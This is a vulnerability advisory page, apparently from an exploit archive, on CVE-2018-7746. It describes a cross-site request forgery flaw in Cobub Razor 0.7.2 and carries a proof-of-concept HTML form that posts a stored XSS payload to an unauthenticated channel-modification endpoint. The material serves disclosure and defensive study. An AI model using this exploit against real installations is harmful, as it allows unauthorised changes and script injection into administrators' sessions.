Cobub Razor 0.7.2 Cross Site Request Forgery

2018.04.07
cn ppb (CN) cn
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2018-7746
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: [Cobub Razor 0.7.2 Cross Site Request Forgery] # Date: [2018-03-07] # Exploit Author: [ppb（ppb@5ecurity.cn）] # Vendor Homepage: [https://github.com/cobub/razor/] # Software Link: [https://github.com/cobub/razor/] # Version: [0.72] # CVE : [CVE-2018-7746] There is a vulnerability. Authentication is not required for /index.php?/manage/channel/modifychannel. For example, with a crafted channel name, stored XSS is triggered during a later /index.php?/manage/channel request by an admin. <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/index.php?/manage/channel/modifychannel" method="POST"> <input type="hidden" name="channel_id" value="979" /> <input type="hidden" name="channel_name" value="xss><svg/onload=alert(1)>" /> <input type="hidden" name="platform" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top